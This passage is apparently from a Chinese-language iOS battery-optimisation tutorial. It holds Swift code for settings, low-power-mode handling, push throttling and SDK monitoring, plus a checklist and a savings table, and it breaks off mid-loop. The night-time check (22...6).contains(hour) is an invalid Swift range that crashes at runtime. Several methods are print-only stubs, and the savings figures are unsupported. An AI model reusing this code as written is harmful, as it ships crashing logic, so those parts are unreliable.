    override func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {
        let cell = tableView.dequeueReusableCell(withIdentifier: &#34;Cell&#34;, for: indexPath)
        
        let item = settings[indexPath.section].items[indexPath.row]
        
        cell.textLabel?.text = item.title
        cell.detailTextLabel?.text = item.value
        cell.accessoryType = .disclosureIndicator
        
        return cell
    }
    
    override func tableView(_ tableView: UITableView, didSelectRowAt indexPath: IndexPath) {
        tableView.deselectRow(at: indexPath, animated: true)
        
        let item = settings[indexPath.section].items[indexPath.row]
        perform(item.action)
    }
    
    // MARK: - Actions
    
    @objc private func adjustLocationAccuracy() {
        let alert = UIAlertController(
            title: &#34;定位精度&#34;,
            message: &#34;选择定位精度级别&#34;,
            preferredStyle: .actionSheet
        )
        
        alert.addAction(UIAlertAction(title: &#34;高精度(耗电)&#34;, style: .default) { _ in
            self.setLocationAccuracy(.best)
        })
        
        alert.addAction(UIAlertAction(title: &#34;平衡&#34;, style: .default) { _ in
            self.setLocationAccuracy(.hundredMeters)
        })
        
        alert.addAction(UIAlertAction(title: &#34;省电&#34;, style: .default) { _ in
            self.setLocationAccuracy(.kilometer)
        })
        
        alert.addAction(UIAlertAction(title: &#34;取消&#34;, style: .cancel))
        
        present(alert, animated: true)
    }
    
    private func setLocationAccuracy(_ accuracy: CLLocationAccuracy) {
        let locationManager = OptimizedLocationManager.shared
        // 设置定位精度
        print(&#34;设置定位精度: \(accuracy)&#34;)
    }
    
    @objc private func toggleBackgroundLocation() {
        // 切换后台定位
        print(&#34;切换后台定位&#34;)
    }
    
    @objc private func toggleWiFiOnly() {
        // 切换仅 WiFi 下载
        let current = UserDefaults.standard.bool(forKey: &#34;WiFiOnly&#34;)
        UserDefaults.standard.set(!current, forKey: &#34;WiFiOnly&#34;)
        print(&#34;仅 WiFi 下载: \(!current)&#34;)
    }
    
    @objc private func toggleBackgroundRefresh() {
        // 切换后台刷新
        print(&#34;切换后台刷新&#34;)
    }
    
    @objc private func toggleReduceMotion() {
        // 切换降低动画效果
        print(&#34;切换降低动画效果&#34;)
    }
    
    @objc private func toggleAutoOptimization() {
        // 切换自动优化
        let current = UserDefaults.standard.bool(forKey: &#34;AutoOptimization&#34;)
        UserDefaults.standard.set(!current, forKey: &#34;AutoOptimization&#34;)
        
        if !current {
            PowerOptimizationAdvisor.shared.autoOptimize()
        }
        
        print(&#34;自动优化: \(!current)&#34;)
    }
}

最佳实践

优化检查清单

## iOS 电量优化检查清单

### ✅ CPU 优化
- [ ] 避免主线程阻塞
- [ ] 使用后台线程处理耗时任务
- [ ] 优化算法和数据结构
- [ ] 减少定时器使用
- [ ] 使用 Instruments 分析 CPU 热点
- [ ] 实现计算结果缓存
- [ ] 降低动画帧率

### ✅ 网络优化
- [ ] 减少网络请求频率
- [ ] 实现请求合并和批处理
- [ ] 使用数据压缩
- [ ] 实现智能缓存策略
- [ ] WiFi 优先策略
- [ ] 后台任务延迟执行
- [ ] 使用 HTTP/2 或 HTTP/3

### ✅ 定位优化
- [ ] 使用合适的定位精度
- [ ] 设置距离过滤器
- [ ] 使用重要位置变化监控
- [ ] 实现定位超时机制
- [ ] 根据电量调整定位策略
- [ ] 不需要时及时停止定位
- [ ] 使用地理围栏替代持续定位

### ✅ 后台任务优化
- [ ] 降低后台刷新频率
- [ ] 使用后台 URLSession
- [ ] 实现任务延迟执行
- [ ] 及时结束后台任务
- [ ] 批量处理后台任务
- [ ] 监控后台任务时长

### ✅ 渲染优化
- [ ] 减少视图层级
- [ ] 使用异步绘制
- [ ] 优化图片加载
- [ ] 降低动画复杂度
- [ ] 使用 CADisplayLink 优化动画
- [ ] 暂停不可见视图的动画
- [ ] 根据场景调整刷新率

### ✅ 传感器优化
- [ ] 降低传感器采样频率
- [ ] 不使用时及时停止
- [ ] 使用 CMMotionActivityManager
- [ ] 批量处理传感器数据
- [ ] 根据电量调整采样策略

### ✅ 监控与分析
- [ ] 实现电量监控系统
- [ ] 收集电量消耗数据
- [ ] 定期分析电量报告
- [ ] 设置电量告警
- [ ] 提供优化建议
- [ ] 实现自动优化

电量优化效果对比

优化项 优化前 优化后 节省电量
CPU 使用 持续 50% 平均 20% 40%
网络请求 每秒 5 次 每 10 秒 1 次 60%
定位服务 GPS 持续定位 重要位置变化 80%
后台刷新 每 15 分钟 每小时 75%
动画渲染 60fps 持续 按需 30fps 50%
总体电量 15%/小时 6%/小时 60%

常见问题解决

Q1: 如何检测应用的电量消耗?

A: 使用多种方法:

class BatteryDiagnostics {
    
    // 1. 使用 Xcode Energy Log
    static func enableEnergyLogging() {
        // 在 Xcode 中:Product → Profile → Energy Log
        print(&#34;使用 Xcode Energy Log 分析电量消耗&#34;)
    }
    
    // 2. 使用 Instruments
    static func useInstruments() {
        // 使用 Energy Log 和 Time Profiler
        print(&#34;使用 Instruments 分析&#34;)
    }
    
    // 3. 监控电量变化
    static func monitorBatteryDrain() {
        let monitor = BatteryMonitor.shared
        monitor.startMonitoring()
        
        // 记录一段时间的电量变化
        DispatchQueue.main.asyncAfter(deadline: .now() + 3600) {
            if let drainRate = monitor.calculateBatteryDrainRate() {
                print(&#34;电量消耗速率: \(drainRate)%/小时&#34;)
            }
        }
    }
    
    // 4. 使用 MetricKit(iOS 13+)
    static func useMetricKit() {
        // 收集电量诊断数据
        print(&#34;使用 MetricKit 收集电量数据&#34;)
    }
}

Q2: 低电量模式如何适配?

A: 实现低电量模式检测和适配:

class LowPowerModeManager {
    
    static let shared = LowPowerModeManager()
    
    private init() {
        // 监听低电量模式变化
        NotificationCenter.default.addObserver(
            self,
            selector: #selector(powerStateDidChange),
            name: Notification.Name.NSProcessInfoPowerStateDidChange,
            object: nil
        )
    }
    
    // 检查是否处于低电量模式
    func isLowPowerModeEnabled() -> Bool {
        return ProcessInfo.processInfo.isLowPowerModeEnabled
    }
    
    @objc private func powerStateDidChange() {
        let isLowPower = isLowPowerModeEnabled()
        print(&#34;⚡️ 低电量模式: \(isLowPower ? &#34;开启&#34; : &#34;关闭&#34;)&#34;)
        
        if isLowPower {
            enablePowerSavingMode()
        } else {
            disablePowerSavingMode()
        }
    }
    
    // 启用省电模式
    private func enablePowerSavingMode() {
        print(&#34;🔋 启用省电模式&#34;)
        
        // 1. 降低定位精度
        OptimizedLocationManager.shared.stopUpdatingLocation()
        
        // 2. 减少网络请求
        NetworkOptimizer.shared.batchInterval = 2.0
        
        // 3. 降低动画帧率
        DisplayOptimizer.shared.adjustFrameRate(for: .lowPower)
        
        // 4. 停止传感器监控
        SensorManager.shared.stopMonitoring()
        
        // 5. 暂停后台任务
        BackgroundTaskManager.shared.endBackgroundTask()
        
        // 6. 降低屏幕亮度
        UIScreen.main.brightness = max(UIScreen.main.brightness - 0.2, 0.3)
    }
    
    // 禁用省电模式
    private func disablePowerSavingMode() {
        print(&#34;🔋 禁用省电模式&#34;)
        
        // 恢复正常设置
        NetworkOptimizer.shared.batchInterval = 0.5
        DisplayOptimizer.shared.adjustFrameRate(for: .scrolling)
    }
}

Q3: 如何优化推送通知的电量消耗?

A: 优化推送策略:

class PushNotificationOptimizer {
    
    static let shared = PushNotificationOptimizer()
    
    private init() {}
    
    // 智能推送策略
    func shouldSendPushNotification(priority: Priority) -> Bool {
        
        // 1. 检查电量
        let batteryLevel = UIDevice.current.batteryLevel
        if batteryLevel < 0.1 && priority != .critical {
            print(&#34;⚡️ 电量过低,跳过非关键推送&#34;)
            return false
        }
        
        // 2. 检查低电量模式
        if ProcessInfo.processInfo.isLowPowerModeEnabled && priority == .low {
            print(&#34;⚡️ 低电量模式,跳过低优先级推送&#34;)
            return false
        }
        
        // 3. 检查时间段(夜间减少推送)
        let hour = Calendar.current.component(.hour, from: Date())
        if (22...6).contains(hour) && priority != .critical {
            print(&#34;🌙 夜间时段,跳过非关键推送&#34;)
            return false
        }
        
        return true
    }
    
    enum Priority {
        case critical  // 关键通知
        case high      // 高优先级
        case normal    // 普通
        case low       // 低优先级
    }
    
    // 批量推送
    func batchPushNotifications(notifications: [UNNotificationRequest]) {
        // 合并相似的通知
        let grouped = Dictionary(grouping: notifications) { $0.content.categoryIdentifier }
        
        for (category, requests) in grouped {
            if requests.count > 1 {
                // 创建合并通知
                let content = UNMutableNotificationContent()
                content.title = category
                content.body = &#34;您有 \(requests.count) 条新消息&#34;
                
                let request = UNNotificationRequest(
                    identifier: UUID().uuidString,
                    content: content,
                    trigger: nil
                )
                
                UNUserNotificationCenter.current().add(request)
                
                print(&#34;📦 合并了 \(requests.count) 条通知&#34;)
            } else {
                // 单独发送
                requests.forEach { UNUserNotificationCenter.current().add($0) }
            }
        }
    }
}

Q4: 如何监控第三方 SDK 的电量消耗?

A: 实现 SDK 监控:

class SDKPowerMonitor {
    
    static let shared = SDKPowerMonitor()
    
    private var sdkMetrics: [String: SDKMetric] = [:]
    
    struct SDKMetric {
        var cpuUsage: Double = 0
        var networkBytes: Int64 = 0
        var locationUpdates: Int = 0
        var startTime: Date
    }
    
    private init() {}
    
    // 开始监控 SDK
    func startMonitoring(sdkName: String) {
        sdkMetrics[sdkName] = SDKMetric(startTime: Date())
        print(&#34;📊 开始监控 SDK: \(sdkName)&#34;)
    }
    
    // 停止监控并生成报告
    func stopMonitoring(sdkName: String) -> String? {
        guard let metric = sdkMetrics[sdkName] else {
            return nil
        }
        
        let duration = Date().timeIntervalSince(metric.startTime)
        
        let report = &#34;&#34;&#34;
        
        ========== SDK 电量报告 ==========
        SDK 名称: \(sdkName)
        运行时长: \(String(format: &#34;%.1f&#34;, duration)) 秒
        CPU 使用: \(String(format: &#34;%.1f&#34;, metric.cpuUsage))%
        网络流量: \(metric.networkBytes / 1024) KB
        定位次数: \(metric.locationUpdates)
        ================================
        
        &#34;&#34;&#34;
        
        sdkMetrics.removeValue(forKey: sdkName)
        
        return report
    }
    
    // 记录 SDK 活动
    func recordActivity(sdkName: String, type: ActivityType) {
        guard var metric = sdkMetrics[sdkName] else { return }
        
        switch type {
        case .cpuUsage(let usage):
            metric.cpuUsage = usage
        case .networkBytes(let bytes):
            metric.networkBytes += bytes
        case .locationUpdate:
            metric.locationUpdates += 1
        }
        
        sdkMetrics[sdkName] = metric
    }
    
    enum ActivityType {
        case cpuUsage(Double)
        case networkBytes(Int64)
        case locationUpdate
    }
}

性能优化工具

1. Xcode Instruments

class InstrumentsHelper {
    
    // 使用 Energy Log
    static func analyzeWithEnergyLog() {
        print(&#34;使用 Xcode Energy Log 分析:&#34;)
    }
    
    // 使用 Time Profiler
    static func analyzeWithTimeProfiler() {
        print(&#34;使用 Time Profiler 分析 CPU:&#34;)
    }
    
    // 使用 Network
    static func analyzeWithNetwork() {
        print(&#34;使用 Network Instrument 分析:&#34;)
    }
}

2. 性能测试

class PowerPerformanceTest {
    
    // 电量消耗测试
    static func testBatteryDrain(duration: TimeInterval = 3600) {
        print(&#34;🧪 开始电量消耗测试(\(duration/60) 分钟)&#34;)
        
        let monitor = BatteryMonitor.shared
        monitor.startMonitoring()
        
        let startLevel = monitor.getCurrentBatteryLevel()
        let startTime = Date()
        
        DispatchQueue.main.asyncAfter(deadline: .now() + duration) {
            let endLevel = monitor.getCurrentBatteryLevel()
            let endTime = Date()
            
            let drain = (startLevel - endLevel) * 100
            let actualDuration = endTime.timeIntervalSince(startTime) / 3600
            let drainRate = drain / Float(actualDuration)
            
            print(&#34;&#34;&#34;
            
            ========== 电量测试结果 ==========
            测试时长: \(String(format: &#34;%.1f&#34;, actualDuration)) 小时
            电量消耗: \(String(format: &#34;%.1f&#34;, drain))%
            消耗速率: \(String(format: &#34;%.1f&#34;, drainRate))%/小时
            ================================
            
            &#34;&#34;&#34;)
        }
    }
    
    // CPU 压力测试
    static func testCPULoad() {
        print(&#34;🧪 开始 CPU 压力测试&#34;)
        
        let monitor = CPUMonitor.shared
        monitor.startMonitoring(interval: 0.1)
        
        // 模拟 CPU 密集任务
        DispatchQueue.global(qos: .userInitiated).async {
            var result = 0.0
            for i in 0..
❌